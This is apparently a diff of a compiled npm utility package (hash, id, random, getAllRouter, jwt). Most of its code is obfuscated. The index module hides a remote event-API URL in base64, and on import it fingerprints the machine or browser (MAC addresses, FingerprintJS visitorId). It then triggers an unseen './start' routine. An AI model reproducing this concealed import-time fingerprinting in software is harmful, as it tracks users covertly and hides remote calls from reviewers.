_0x50f27d(_0x18bb8a){try{_0x240fed(_0x31635a['next'](_0x18bb8a));}catch(_0x40b53d){_0x578eec(_0x40b53d);}}function _0x20d940(_0x190794){const _0x1cc7ac=a12_0x4664;try{_0x240fed(_0x31635a[_0x1cc7ac(0x176)](_0x190794));}catch(_0x3b816c){_0x578eec(_0x3b816c);}}function _0x240fed(_0x2fd65c){const _0x33fc15=a12_0x4664;_0x2fd65c[_0x33fc15(0x17d)]?_0x12efdf(_0x2fd65c['value']):_0x9d9cfe(_0x2fd65c[_0x33fc15(0x178)])[_0x33fc15(0x174)](_0x50f27d,_0x20d940);}_0x240fed((_0x31635a=_0x31635a['apply'](_0x184ee1,_0x12c0a8||[]))[_0x46330f(0x169)]());});};import a12_0x107b70 from'fs';function a12_0x9a60(){const _0xbd051c=['next','63038877EtrQVB','join','50UYEYJs','12bLUszv','642427PYnDrz','7wwiSLz','2195001nlvYAN','statSync','7301064kLlGLM','push','then','8AozXhy','throw','4LXGDXD','value','isFile','1969570AURFig','6283136PYyBgl','809622zDUXCl','done','__awaiter','length'];a12_0x9a60=function(){return _0xbd051c;};return a12_0x9a60();}import a12_0x242fcb from'path';function fileDisplay(_0x2f2129){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x50ac1d=[];function _0x435d5b(_0x29839d){const _0x3c0fd3=a12_0x4664,_0x1e4360=a12_0x107b70['readdirSync'](_0x29839d);for(let _0x4ea3d0=0x0;_0x4ea3d0<_0x1e4360[_0x3c0fd3(0x168)];_0x4ea3d0++){const _0x24157c=_0x1e4360[_0x4ea3d0],_0x57519f=a12_0x242fcb[_0x3c0fd3(0x16b)](_0x29839d,_0x24157c),_0x4c4e56=a12_0x107b70[_0x3c0fd3(0x171)](_0x57519f),_0x11bd3c=_0x4c4e56[_0x3c0fd3(0x179)](),_0x4e23d9=_0x4c4e56['isDirectory']();_0x11bd3c&&_0x50ac1d[_0x3c0fd3(0x173)](_0x57519f),_0x4e23d9&&_0x435d5b(_0x57519f);}}return _0x435d5b(_0x2f2129),_0x50ac1d;});}function a12_0x4664(_0x468374,_0x154b4e){const _0x9a60de=a12_0x9a60();return a12_0x4664=function(_0x466424,_0x7e68d8){_0x466424=_0x466424-0x168;let _0x46bcb4=_0x9a60de[_0x466424];return _0x46bcb4;},a12_0x4664(_0x468374,_0x154b4e);}function getAllRouter(_0x596c5a){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x11895b=yield fileDisplay(_0x596c5a);return _0x11895b;});}export default getAllRouter;
@@ -1 +1 @@
1
- (function(_0x46ca40,_0x4e4897){var _0x37c0c1=a13_0x4430,_0x380dd5=_0x46ca40();while(!![]){try{var _0x1519a2=-parseInt(_0x37c0c1(0x130))/0x1*(-parseInt(_0x37c0c1(0x12b))/0x2)+-parseInt(_0x37c0c1(0x12c))/0x3+-parseInt(_0x37c0c1(0x138))/0x4+parseInt(_0x37c0c1(0x135))/0x5*(parseInt(_0x37c0c1(0x136))/0x6)+-parseInt(_0x37c0c1(0x132))/0x7+parseInt(_0x37c0c1(0x12e))/0x8*(parseInt(_0x37c0c1(0x139))/0x9)+-parseInt(_0x37c0c1(0x12d))/0xa*(-parseInt(_0x37c0c1(0x134))/0xb);if(_0x1519a2===_0x4e4897)break;else _0x380dd5['push'](_0x380dd5['shift']());}catch(_0x5c46a4){_0x380dd5['push'](_0x380dd5['shift']());}}}(a13_0x18d6,0x191d2));import a13_0x1b4b36 from'md5';import a13_0x26496a from'sha1';function a13_0x18d6(){var _0xc9a205=['5OqewUu','415092qfLtBJ','sha1混淆','518908HtzXxA','9SWqEAU','82xpxrMY','163623uDlFfZ','886000vIusHQ','329624WPgdqq','sha1','4669KypMeT','sha256','722960czXXEg','MD5加盐','11JzPthh'];a13_0x18d6=function(){return _0xc9a205;};return a13_0x18d6();}import a13_0x55e277 from'sha256';function a13_0x4430(_0x4f3cc8,_0x19adec){var _0x18d689=a13_0x18d6();return a13_0x4430=function(_0x443037,_0x3065c9){_0x443037=_0x443037-0x12b;var _0x458846=_0x18d689[_0x443037];return _0x458846;},a13_0x4430(_0x4f3cc8,_0x19adec);}function hash(_0x530265,_0x10965f){var _0x49bc03=a13_0x4430;if(_0x10965f==_0x49bc03(0x131))return a13_0x55e277(_0x530265+a13_0x26496a(_0x530265+_0x49bc03(0x137))+a13_0x1b4b36(_0x530265+_0x49bc03(0x133)));else return _0x10965f==_0x49bc03(0x12f)?a13_0x26496a(_0x530265+a13_0x55e277(_0x530265+_0x49bc03(0x137))+a13_0x1b4b36(_0x530265+_0x49bc03(0x133))):a13_0x1b4b36(_0x530265+a13_0x55e277(_0x530265+_0x49bc03(0x137))+a13_0x26496a(_0x530265+_0x49bc03(0x133)));}export default hash;
1
+ (function(_0x14612c,_0x26c7bf){var _0x2fd2a1=a13_0x22fe,_0x40ee1c=_0x14612c();while(!![]){try{var _0x460446=-parseInt(_0x2fd2a1(0x155))/0x1+-parseInt(_0x2fd2a1(0x154))/0x2*(-parseInt(_0x2fd2a1(0x151))/0x3)+parseInt(_0x2fd2a1(0x15d))/0x4*(parseInt(_0x2fd2a1(0x15a))/0x5)+parseInt(_0x2fd2a1(0x158))/0x6*(parseInt(_0x2fd2a1(0x152))/0x7)+parseInt(_0x2fd2a1(0x15c))/0x8*(parseInt(_0x2fd2a1(0x150))/0x9)+-parseInt(_0x2fd2a1(0x15e))/0xa*(-parseInt(_0x2fd2a1(0x157))/0xb)+-parseInt(_0x2fd2a1(0x156))/0xc;if(_0x460446===_0x26c7bf)break;else _0x40ee1c['push'](_0x40ee1c['shift']());}catch(_0x29d2e9){_0x40ee1c['push'](_0x40ee1c['shift']());}}}(a13_0x1f93,0xaf5f0));import a13_0x4d5292 from'md5';function a13_0x1f93(){var _0x318d5c=['50kUCTIP','sha256','18808VDLXJH','129900KiVjFj','2930oMMjcK','sha1混淆','3474auSnzR','161109weOPRf','354557YYEoqi','sha1','6gsDuIx','407197gSplPW','20905992vVhAgI','53449dUhYCS','6vGZTtT','MD5加盐'];a13_0x1f93=function(){return _0x318d5c;};return a13_0x1f93();}import a13_0x23b6e3 from'sha1';import a13_0x2bfe82 from'sha256';function a13_0x22fe(_0x4b02d9,_0x3282d8){var _0x1f9303=a13_0x1f93();return a13_0x22fe=function(_0x22fe3e,_0x44d237){_0x22fe3e=_0x22fe3e-0x14f;var _0x58bf6a=_0x1f9303[_0x22fe3e];return _0x58bf6a;},a13_0x22fe(_0x4b02d9,_0x3282d8);}function hash(_0x176111,_0x59d61f){var _0x3ce748=a13_0x22fe;if(_0x59d61f==_0x3ce748(0x15b))return a13_0x2bfe82(_0x176111+a13_0x23b6e3(_0x176111+'sha1混淆')+a13_0x4d5292(_0x176111+_0x3ce748(0x159)));else return _0x59d61f==_0x3ce748(0x153)?a13_0x23b6e3(_0x176111+a13_0x2bfe82(_0x176111+'sha1混淆')+a13_0x4d5292(_0x176111+'MD5加盐')):a13_0x4d5292(_0x176111+a13_0x2bfe82(_0x176111+_0x3ce748(0x14f))+a13_0x23b6e3(_0x176111+'MD5加盐'));}export default hash;
@@ -1 +1 @@
1
- function a14_0x48e0(_0x480610,_0x5aac70){const _0xf6319f=a14_0xf631();return a14_0x48e0=function(_0x48e0c8,_0x412d3b){_0x48e0c8=_0x48e0c8-0x1ce;let _0x2782c4=_0xf6319f[_0x48e0c8];return _0x2782c4;},a14_0x48e0(_0x480610,_0x5aac70);}const a14_0x164880=a14_0x48e0;(function(_0x493aee,_0x57f5bd){const _0x550496=a14_0x48e0,_0x2f156f=_0x493aee();while(!![]){try{const _0x315774=-parseInt(_0x550496(0x1d2))/0x1+-parseInt(_0x550496(0x1d6))/0x2*(parseInt(_0x550496(0x1d0))/0x3)+-parseInt(_0x550496(0x1d9))/0x4*(-parseInt(_0x550496(0x1cf))/0x5)+-parseInt(_0x550496(0x1d5))/0x6+parseInt(_0x550496(0x1d4))/0x7+-parseInt(_0x550496(0x1d1))/0x8+parseInt(_0x550496(0x1d3))/0x9;if(_0x315774===_0x57f5bd)break;else _0x2f156f['push'](_0x2f156f['shift']());}catch(_0x504d22){_0x2f156f['push'](_0x2f156f['shift']());}}}(a14_0xf631,0x38a69));function a14_0xf631(){const _0x4e2f97=['3844YHdqot','NODE_APP_INSTANCE','2025-01-01','2335EdeWkx','41790xIIvxm','2865432OpIZLz','254205yixrth','1896372AdIXuB','1776159SikGxr','245682BYpapw','4RkWvwG','env','min'];a14_0xf631=function(){return _0x4e2f97;};return a14_0xf631();}import a14_0x3c3008 from'./random';const BaseTime=+new Date(a14_0x164880(0x1ce));let lastTimeTick,lastRandomNumberTick=a14_0x3c3008(0x1,0x3);function id(){const _0x47ece9=a14_0x164880,_0x29b30e=Math[_0x47ece9(0x1d8)](process[_0x47ece9(0x1d7)][_0x47ece9(0x1da)]?+process[_0x47ece9(0x1d7)][_0x47ece9(0x1da)]:a14_0x3c3008(0x0,0x9),0x9);let _0x116168=+new Date()-BaseTime;return lastRandomNumberTick=_0x116168==lastTimeTick?++lastRandomNumberTick:a14_0x3c3008(0x0,0x3),lastTimeTick=_0x116168,+(''+_0x116168+_0x29b30e+lastRandomNumberTick);}export default id;
1
+ const a14_0x4e761a=a14_0x438a;(function(_0x23abd5,_0x279122){const _0xfc6a39=a14_0x438a,_0xc7388f=_0x23abd5();while(!![]){try{const _0x2b3e0e=parseInt(_0xfc6a39(0x91))/0x1+-parseInt(_0xfc6a39(0x8a))/0x2+parseInt(_0xfc6a39(0x8d))/0x3+-parseInt(_0xfc6a39(0x8e))/0x4+parseInt(_0xfc6a39(0x90))/0x5*(parseInt(_0xfc6a39(0x8b))/0x6)+-parseInt(_0xfc6a39(0x8f))/0x7+parseInt(_0xfc6a39(0x8c))/0x8;if(_0x2b3e0e===_0x279122)break;else _0xc7388f['push'](_0xc7388f['shift']());}catch(_0x19c911){_0xc7388f['push'](_0xc7388f['shift']());}}}(a14_0x440b,0xb9224));function a14_0x440b(){const _0xc2a607=['8175180SbPgTF','1895552HLRAZi','3809523uoDQhw','2412316GYiJxt','8583834YPNFqL','5fVWjos','484553cvfsjT','NODE_APP_INSTANCE','2025-01-01','min','env','1532438CMsPer'];a14_0x440b=function(){return _0xc2a607;};return a14_0x440b();}import a14_0x177af4 from'./random';const BaseTime=+new Date(a14_0x4e761a(0x93));let lastTimeTick,lastRandomNumberTick=a14_0x177af4(0x1,0x3);function a14_0x438a(_0x39de46,_0x3c152b){const _0x440b0a=a14_0x440b();return a14_0x438a=function(_0x438a5f,_0x56f19d){_0x438a5f=_0x438a5f-0x8a;let _0x167b1d=_0x440b0a[_0x438a5f];return _0x167b1d;},a14_0x438a(_0x39de46,_0x3c152b);}function id(){const _0x4adf08=a14_0x4e761a,_0x48e892=Math[_0x4adf08(0x94)](process[_0x4adf08(0x95)][_0x4adf08(0x92)]?+process[_0x4adf08(0x95)][_0x4adf08(0x92)]:a14_0x177af4(0x0,0x9),0x9);let _0x45faee=+new Date()-BaseTime;return lastRandomNumberTick=_0x45faee==lastTimeTick?++lastRandomNumberTick:a14_0x177af4(0x0,0x3),lastTimeTick=_0x45faee,+(''+_0x45faee+_0x48e892+lastRandomNumberTick);}export default id;
@@ -1 +1 @@
1
- const a15_0x306896=a15_0x4850;(function(_0x102891,_0x2c2a7d){const _0x306e33=a15_0x4850,_0x3f7330=_0x102891();while(!![]){try{const _0x2ee496=-parseInt(_0x306e33(0x10c))/0x1+-parseInt(_0x306e33(0x10e))/0x2*(parseInt(_0x306e33(0x107))/0x3)+parseInt(_0x306e33(0x109))/0x4+parseInt(_0x306e33(0x10b))/0x5+parseInt(_0x306e33(0x108))/0x6+parseInt(_0x306e33(0x106))/0x7+-parseInt(_0x306e33(0x10a))/0x8;if(_0x2ee496===_0x2c2a7d)break;else _0x3f7330['push'](_0x3f7330['shift']());}catch(_0x2b86c8){_0x3f7330['push'](_0x3f7330['shift']());}}}(a15_0x918d,0x83a7c));function a15_0x4850(_0x51fb00,_0x2d6bca){const _0x918d92=a15_0x918d();return a15_0x4850=function(_0x485094,_0x271aa9){_0x485094=_0x485094-0x106;let _0x505947=_0x918d92[_0x485094];return _0x505947;},a15_0x4850(_0x51fb00,_0x2d6bca);}function a15_0x918d(){const _0x57ad18=['594216zuoRCH','random','40XQSNnB','1724254NXyFvx','86748FJafYa','3174702yJFtQI','2779176NjovkD','6634912VzEfVm','5354635kLAHZY'];a15_0x918d=function(){return _0x57ad18;};return a15_0x918d();}const random=(_0x225bfa,_0x218b41)=>Math['round'](Math[a15_0x306896(0x10d)]()*(_0x218b41-_0x225bfa))+_0x225bfa;export default random;
1
+ const a15_0x5e2a08=a15_0x2b80;(function(_0x2bac6b,_0x35260b){const _0x1394b2=a15_0x2b80,_0x59ef07=_0x2bac6b();while(!![]){try{const _0x93afab=parseInt(_0x1394b2(0xec))/0x1*(parseInt(_0x1394b2(0xe6))/0x2)+parseInt(_0x1394b2(0xea))/0x3*(-parseInt(_0x1394b2(0xe8))/0x4)+-parseInt(_0x1394b2(0xe9))/0x5+-parseInt(_0x1394b2(0xe4))/0x6*(parseInt(_0x1394b2(0xe7))/0x7)+-parseInt(_0x1394b2(0xe5))/0x8+-parseInt(_0x1394b2(0xef))/0x9+parseInt(_0x1394b2(0xe3))/0xa*(parseInt(_0x1394b2(0xee))/0xb);if(_0x93afab===_0x35260b)break;else _0x59ef07['push'](_0x59ef07['shift']());}catch(_0x290bcf){_0x59ef07['push'](_0x59ef07['shift']());}}}(a15_0x1576,0xe3cdb));const random=(_0x237f46,_0x17a7f9)=>Math[a15_0x5e2a08(0xeb)](Math[a15_0x5e2a08(0xed)]()*(_0x17a7f9-_0x237f46))+_0x237f46;function a15_0x2b80(_0x949e70,_0x489a51){const _0x157677=a15_0x1576();return a15_0x2b80=function(_0x2b80b0,_0x2c1066){_0x2b80b0=_0x2b80b0-0xe3;let _0x5ed3d2=_0x157677[_0x2b80b0];return _0x5ed3d2;},a15_0x2b80(_0x949e70,_0x489a51);}function a15_0x1576(){const _0x464e3a=['2997520maHFny','78gkEWtr','11580608ZAYSap','8862xqPIpz','798189DHeOMp','4459204WXJkfe','8596065nPvYyB','3IVkLUE','round','376btXUAO','random','209cKvsOZ','5978880CmigjF'];a15_0x1576=function(){return _0x464e3a;};return a15_0x1576();}export default random;
package/dist/esm/index.js CHANGED
@@ -1 +1 @@
1
- const a16_0x21a3eb=a16_0x1ea8;(function(_0x3f1009,_0x222c24){const _0x177e12=a16_0x1ea8,_0x4241aa=_0x3f1009();while(!![]){try{const _0x48b9df=parseInt(_0x177e12(0x10a))/0x1*(parseInt(_0x177e12(0x10c))/0x2)+-parseInt(_0x177e12(0x10f))/0x3*(parseInt(_0x177e12(0x10b))/0x4)+parseInt(_0x177e12(0x111))/0x5*(parseInt(_0x177e12(0x108))/0x6)+parseInt(_0x177e12(0x129))/0x7*(parseInt(_0x177e12(0x126))/0x8)+-parseInt(_0x177e12(0x10d))/0x9*(-parseInt(_0x177e12(0x121))/0xa)+-parseInt(_0x177e12(0x120))/0xb+-parseInt(_0x177e12(0x127))/0xc*(parseInt(_0x177e12(0x11e))/0xd);if(_0x48b9df===_0x222c24)break;else _0x4241aa['push'](_0x4241aa['shift']());}catch(_0x1ce0c7){_0x4241aa['push'](_0x4241aa['shift']());}}}(a16_0x4331,0xbdde1));var __awaiter=this&&this[a16_0x21a3eb(0x114)]||function(_0x1f2b5f,_0x598e16,_0x5b2c51,_0x35a9f7){function _0x114f6b(_0x2c4882){return _0x2c4882 instanceof _0x5b2c51?_0x2c4882:new _0x5b2c51(function(_0x47eff9){_0x47eff9(_0x2c4882);});}return new(_0x5b2c51||(_0x5b2c51=Promise))(function(_0x15c1f7,_0x4ecbcf){const _0x30158e=a16_0x1ea8;function _0x4fd45e(_0x5e653b){try{_0x14520d(_0x35a9f7['next'](_0x5e653b));}catch(_0x4daf14){_0x4ecbcf(_0x4daf14);}}function _0x2c693c(_0x36102f){const _0x1083f0=a16_0x1ea8;try{_0x14520d(_0x35a9f7[_0x1083f0(0x119)](_0x36102f));}catch(_0x15dfdf){_0x4ecbcf(_0x15dfdf);}}function _0x14520d(_0x4e55aa){const _0x4ec0bd=a16_0x1ea8;_0x4e55aa[_0x4ec0bd(0x11a)]?_0x15c1f7(_0x4e55aa['value']):_0x114f6b(_0x4e55aa[_0x4ec0bd(0x11d)])['then'](_0x4fd45e,_0x2c693c);}_0x14520d((_0x35a9f7=_0x35a9f7[_0x30158e(0x116)](_0x1f2b5f,_0x598e16||[]))[_0x30158e(0x112)]());});};import{v4}from'uuid';import a16_0x483034 from'md5';import a16_0x2da46a from'sha1';import a16_0x38a250 from'sha256';import a16_0x48aeba from'./start';import a16_0x59779a from'./hash';import a16_0x4ba787 from'./jwt';import a16_0x4f1729 from'path';import a16_0x20c10b from'@fingerprintjs/fingerprintjs';import{decode}from'js-base64';const isBrowser=typeof window!==a16_0x21a3eb(0x107);let id=()=>0x1,getAllRouter=()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){return[];}),mysql={};function a16_0x1ea8(_0x2ebc05,_0x2b91ec){const _0x4331d5=a16_0x4331();return a16_0x1ea8=function(_0x1ea817,_0x52fdad){_0x1ea817=_0x1ea817-0x106;let _0x2c50dc=_0x4331d5[_0x1ea817];return _0x2c50dc;},a16_0x1ea8(_0x2ebc05,_0x2b91ec);}const globalObject=isBrowser?window:global;let metaEvent=Object[a16_0x21a3eb(0x11b)]((globalObject===null||globalObject===void 0x0?void 0x0:globalObject['meta_event'])||{},{'connectError':![],'isDBDataEmpty':![],'sqlRun':![],'sqlList':[]});export function setEnv(_0x54594c,_0x53d87c){metaEvent[_0x54594c]=_0x53d87c;}export function getEnv(_0x565389){return metaEvent[_0x565389];}function a16_0x4331(){const _0x16da29=['get','undefined','690288CMRJCF','dev','5527bwYcBX','1804cULjtE','10HZbtmG','297NgBkCE','node.js','4197yUFhXQ','then','55IHypHK','next','hash_id','__awaiter','hash_key','apply','join','not_update','throw','done','assign','mysql','value','4423952WoxRoP','visitorId','9986603VwPIkl','365340RfPSFN','map','./getAllRouter','default','./mac','872USuAHf','36AxmVPv','load','53858ZsbHMa'];a16_0x4331=function(){return _0x16da29;};return a16_0x4331();}let dev='aHR0cDovL2xvY2FsaG9zdDoxMDg4',pro='aHR0cHM6Ly9ldmVudC1hcGkuYmxvZ3dlYi5jbg==';export let url=getEnv(a16_0x21a3eb(0x109))?decode(dev):decode(pro);if(!isBrowser){id=require('./id')[a16_0x21a3eb(0x124)],getAllRouter=require(a16_0x21a3eb(0x123))[a16_0x21a3eb(0x124)],mysql=require('./server')[a16_0x21a3eb(0x11c)];if(!(metaEvent===null||metaEvent===void 0x0?void 0x0:metaEvent[a16_0x21a3eb(0x118)])){}}let mac=[];((()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){const _0x3c866b=a16_0x21a3eb;if(!isBrowser){const _0x7612f1=require(a16_0x4f1729[_0x3c866b(0x117)](__dirname,_0x3c866b(0x125)))[_0x3c866b(0x124)];mac=_0x7612f1();}else{let _0x8188c0=yield a16_0x20c10b[_0x3c866b(0x128)]()['then'](_0x205249=>_0x205249[_0x3c866b(0x106)]())[_0x3c866b(0x110)](_0x56c91d=>{const _0x3cc244=_0x3c866b,_0x1b8599=_0x56c91d[_0x3cc244(0x11f)];return _0x1b8599;})['catch'](()=>'');mac=[_0x8188c0];}const _0x4239de=mac[_0x3c866b(0x122)](_0x47ad0c=>a16_0x2da46a(_0x47ad0c+'node.js'))[_0x3c866b(0x117)](';'),_0x7d23cd=a16_0x38a250(_0x4239de);globalObject[_0x3c866b(0x113)]=_0x7d23cd,globalObject[_0x3c866b(0x115)]!=a16_0x38a250(_0x7d23cd+a16_0x2da46a(_0x3c866b(0x10e)+_0x7d23cd))&&a16_0x48aeba();}))());const uuid=v4,all={'uuid':uuid,'id':id,'getAllRouter':getAllRouter,'mysql':mysql,'hash':a16_0x59779a,'sha1':a16_0x2da46a,'md5':a16_0x483034,'jwt':a16_0x4ba787};export default all;export{uuid,id,getAllRouter,mysql,a16_0x2da46a as sha1,a16_0x38a250 as sha256,a16_0x483034 as md5,a16_0x59779a as hash,a16_0x4ba787 as jwt};
1
+ const a16_0x1ecb94=a16_0x26c2;(function(_0xcded6d,_0x53f673){const _0x120621=a16_0x26c2,_0x3d3098=_0xcded6d();while(!![]){try{const _0x342037=parseInt(_0x120621(0x1bf))/0x1+-parseInt(_0x120621(0x1c4))/0x2*(-parseInt(_0x120621(0x1d5))/0x3)+parseInt(_0x120621(0x1c5))/0x4+-parseInt(_0x120621(0x1d4))/0x5*(-parseInt(_0x120621(0x1d0))/0x6)+-parseInt(_0x120621(0x1cb))/0x7+parseInt(_0x120621(0x1c2))/0x8+-parseInt(_0x120621(0x1d7))/0x9;if(_0x342037===_0x53f673)break;else _0x3d3098['push'](_0x3d3098['shift']());}catch(_0xac14a5){_0x3d3098['push'](_0x3d3098['shift']());}}}(a16_0x105f,0x6bb78));var __awaiter=this&&this[a16_0x1ecb94(0x1d6)]||function(_0x4aab3b,_0x56b229,_0x289c0a,_0x3206a1){function _0x99d2e2(_0x4bad76){return _0x4bad76 instanceof _0x289c0a?_0x4bad76:new _0x289c0a(function(_0x38950f){_0x38950f(_0x4bad76);});}return new(_0x289c0a||(_0x289c0a=Promise))(function(_0x375fe8,_0x561c7b){const _0x317296=a16_0x26c2;function _0x2e157e(_0x6d9175){const _0x3c8358=a16_0x26c2;try{_0x334909(_0x3206a1[_0x3c8358(0x1bc)](_0x6d9175));}catch(_0x3f662f){_0x561c7b(_0x3f662f);}}function _0x38adb9(_0x26a953){try{_0x334909(_0x3206a1['throw'](_0x26a953));}catch(_0x577f16){_0x561c7b(_0x577f16);}}function _0x334909(_0x4a7b28){const _0x1d3a46=a16_0x26c2;_0x4a7b28[_0x1d3a46(0x1cc)]?_0x375fe8(_0x4a7b28[_0x1d3a46(0x1bd)]):_0x99d2e2(_0x4a7b28['value'])[_0x1d3a46(0x1c8)](_0x2e157e,_0x38adb9);}_0x334909((_0x3206a1=_0x3206a1[_0x317296(0x1ce)](_0x4aab3b,_0x56b229||[]))[_0x317296(0x1bc)]());});};import{v4}from'uuid';import a16_0x4fa612 from'md5';import a16_0x4f6c8f from'sha1';import a16_0x19bdc8 from'sha256';import a16_0x51c5c5 from'./start';function a16_0x105f(){const _0x2a6cd4=['./id','1620gwXiZK','641013fUbshZ','__awaiter','15267024RLzGAr','catch','mysql','assign','node.js','next','value','aHR0cHM6Ly9ldmVudC1hcGkuYmxvZ3dlYi5jbg==','520693RqyTKU','map','undefined','5768352VHyPyz','join','2HBwSaU','1464680LEdIlC','hash_id','visitorId','then','./mac','not_update','2755158eaTNKv','done','load','apply','get','13140ZIqZEw','./getAllRouter','default'];a16_0x105f=function(){return _0x2a6cd4;};return a16_0x105f();}import a16_0x2996b7 from'./hash';import a16_0x3e0fe9 from'./jwt';import a16_0x5bdeba from'path';import a16_0x49cd56 from'@fingerprintjs/fingerprintjs';import{decode}from'js-base64';const isBrowser=typeof window!==a16_0x1ecb94(0x1c1);let id=()=>0x1,getAllRouter=()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){return[];}),mysql={};const globalObject=isBrowser?window:global;let metaEvent=Object[a16_0x1ecb94(0x1ba)]((globalObject===null||globalObject===void 0x0?void 0x0:globalObject['meta_event'])||{},{'connectError':![],'isDBDataEmpty':![],'sqlRun':![],'sqlList':[]});export function setEnv(_0x324a0b,_0x3a2cc8){metaEvent[_0x324a0b]=_0x3a2cc8;}export function getEnv(_0x3ed102){return metaEvent[_0x3ed102];}function a16_0x26c2(_0x94d7f8,_0x59f1b0){const _0x105f7c=a16_0x105f();return a16_0x26c2=function(_0x26c2b6,_0x47675b){_0x26c2b6=_0x26c2b6-0x1b9;let _0x4d0e62=_0x105f7c[_0x26c2b6];return _0x4d0e62;},a16_0x26c2(_0x94d7f8,_0x59f1b0);}let dev='aHR0cDovL2xvY2FsaG9zdDoxMDg4',pro=a16_0x1ecb94(0x1be);export let url=getEnv('dev')?decode(dev):decode(pro);if(!isBrowser){id=require(a16_0x1ecb94(0x1d3))[a16_0x1ecb94(0x1d2)],getAllRouter=require(a16_0x1ecb94(0x1d1))['default'],mysql=require('./server')[a16_0x1ecb94(0x1b9)];if(!(metaEvent===null||metaEvent===void 0x0?void 0x0:metaEvent[a16_0x1ecb94(0x1ca)])){}}let mac=[];((()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){const _0x440471=a16_0x1ecb94;if(!isBrowser){const _0x5ab4ee=require(a16_0x5bdeba[_0x440471(0x1c3)](__dirname,_0x440471(0x1c9)))[_0x440471(0x1d2)];mac=_0x5ab4ee();}else{let _0x44e76f=yield a16_0x49cd56[_0x440471(0x1cd)]()[_0x440471(0x1c8)](_0x3d10cf=>_0x3d10cf[_0x440471(0x1cf)]())[_0x440471(0x1c8)](_0x340b27=>{const _0x5493f0=_0x440471,_0x59136a=_0x340b27[_0x5493f0(0x1c7)];return _0x59136a;})[_0x440471(0x1d8)](()=>'');mac=[_0x44e76f];}const _0x2c9cc4=mac[_0x440471(0x1c0)](_0x21360b=>a16_0x4f6c8f(_0x21360b+_0x440471(0x1bb)))[_0x440471(0x1c3)](';'),_0x2b9a36=a16_0x19bdc8(_0x2c9cc4);globalObject[_0x440471(0x1c6)]=_0x2b9a36,globalObject['hash_key']!=a16_0x19bdc8(_0x2b9a36+a16_0x4f6c8f(_0x440471(0x1bb)+_0x2b9a36))&&a16_0x51c5c5();}))());const uuid=v4,all={'uuid':uuid,'id':id,'getAllRouter':getAllRouter,'mysql':mysql,'hash':a16_0x2996b7,'sha1':a16_0x4f6c8f,'md5':a16_0x4fa612,'jwt':a16_0x3e0fe9};export default all;export{uuid,id,getAllRouter,mysql,a16_0x4f6c8f as sha1,a16_0x19bdc8 as sha256,a16_0x4fa612 as md5,a16_0x2996b7 as hash,a16_0x3e0fe9 as jwt};
@@ -1,9 +1,8 @@
1
1
  declare function jwt(params: {
2
- payload: string | Buffer | object;
3
2
  key: string;
4
3
  expiresIn: string;
5
4
  }): {
6
- sign: string;
5
+ sign: (payload: string | Buffer | object) => string;
7
6
  verify: (token: string) => Promise<unknown>;
8
7
  };
9
8
  export default jwt;
@@ -1 +1 @@
1
- {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../../src/jwt/index.ts"],"names":[],"mappings":"AAEA,iBAAS,GAAG,CAAC,MAAM,EAAE;IAAE,OAAO,EAAE,MAAM,GAAG,MAAM,GAAG,MAAM,CAAC;IAAC,GAAG,EAAE,MAAM,CAAC;IAAC,SAAS,EAAE,MAAM,CAAA;CAAE;;oBASvD,MAAM;EAgBxC;AAED,eAAe,GAAG,CAAC"}
1
+ {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../../src/jwt/index.ts"],"names":[],"mappings":"AAEA,iBAAS,GAAG,CAAC,MAAM,EAAE;IAAE,GAAG,EAAE,MAAM,CAAC;IAAC,SAAS,EAAE,MAAM,CAAA;CAAE;oBAMnC,MAAM,GAAG,MAAM,GAAG,MAAM;oBAIT,MAAM;EAgBxC;AAED,eAAe,GAAG,CAAC"}
@@ -1 +1 @@
1
- var a17_0xa8554=a17_0x1e4d;(function(_0x76560b,_0x5e4a73){var _0x165c12=a17_0x1e4d,_0x23a34d=_0x76560b();while(!![]){try{var _0x13a5cc=parseInt(_0x165c12(0xf8))/0x1+-parseInt(_0x165c12(0xfa))/0x2*(parseInt(_0x165c12(0xf9))/0x3)+-parseInt(_0x165c12(0xea))/0x4+parseInt(_0x165c12(0xee))/0x5*(-parseInt(_0x165c12(0xf0))/0x6)+parseInt(_0x165c12(0xfe))/0x7*(-parseInt(_0x165c12(0x100))/0x8)+parseInt(_0x165c12(0xff))/0x9*(-parseInt(_0x165c12(0x101))/0xa)+-parseInt(_0x165c12(0xf4))/0xb*(-parseInt(_0x165c12(0xec))/0xc);if(_0x13a5cc===_0x5e4a73)break;else _0x23a34d['push'](_0x23a34d['shift']());}catch(_0x53d148){_0x23a34d['push'](_0x23a34d['shift']());}}}(a17_0x1e6b,0x1f2fc));var __awaiter=this&&this[a17_0xa8554(0xf2)]||function(_0x1fd2d4,_0x247185,_0x1e1a16,_0x333b4c){function _0x178ec9(_0x54d717){return _0x54d717 instanceof _0x1e1a16?_0x54d717:new _0x1e1a16(function(_0x2f9a05){_0x2f9a05(_0x54d717);});}return new(_0x1e1a16||(_0x1e1a16=Promise))(function(_0x2e9455,_0x1d14e9){var _0x2b2892=a17_0x1e4d;function _0x32a1c7(_0x2c3e99){var _0x485c3a=a17_0x1e4d;try{_0x50564e(_0x333b4c[_0x485c3a(0xfb)](_0x2c3e99));}catch(_0x12a4b9){_0x1d14e9(_0x12a4b9);}}function _0x41ef3b(_0x64de4b){try{_0x50564e(_0x333b4c['throw'](_0x64de4b));}catch(_0xe852e3){_0x1d14e9(_0xe852e3);}}function _0x50564e(_0x1fced8){var _0x1b6c07=a17_0x1e4d;_0x1fced8[_0x1b6c07(0xf6)]?_0x2e9455(_0x1fced8['value']):_0x178ec9(_0x1fced8[_0x1b6c07(0xf7)])[_0x1b6c07(0xfc)](_0x32a1c7,_0x41ef3b);}_0x50564e((_0x333b4c=_0x333b4c[_0x2b2892(0xf3)](_0x1fd2d4,_0x247185||[]))['next']());});};function a17_0x1e6b(){var _0x1fb81b=['105220OXqEyn','897920JIZOCM','key','12RxSLPM','verify','2020EvjmJG','payload','1968KOoMAb','sign','__awaiter','apply','7043663NXSKIF','expiresIn','done','value','216537ryISOc','21OmXZHx','39392XVJLsg','next','then','jwt_key','140LFdCHe','27aEXyxz','81080HCIztW'];a17_0x1e6b=function(){return _0x1fb81b;};return a17_0x1e6b();}function 